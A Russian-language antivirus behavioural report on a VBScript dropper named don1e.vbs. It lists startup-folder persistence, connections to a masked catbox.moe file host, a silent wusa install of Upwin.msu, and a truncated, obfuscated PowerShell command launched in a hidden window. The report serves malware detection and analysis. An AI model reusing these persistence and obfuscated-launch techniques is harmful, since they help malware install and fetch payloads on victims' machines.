Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\don1e.vbs
Вредоносные функции
Загружает файлы и запускает на исполнение.
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\don1e.vbs
Сетевая активность
Подключается к
- 'fi###.catbox.moe':443
TCP
Другие
- 'fi###.catbox.moe':443
UDP
- DNS ASK fi###.catbox.moe
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "<Текущая директория>\Don1e.vbs"
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wusa.exe %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\wusa.exe' %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "sleep 180"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command $pzcgf = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + 'pAFQAQw' + [char]66 + '2AFgAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jA... (со скрытым окном)
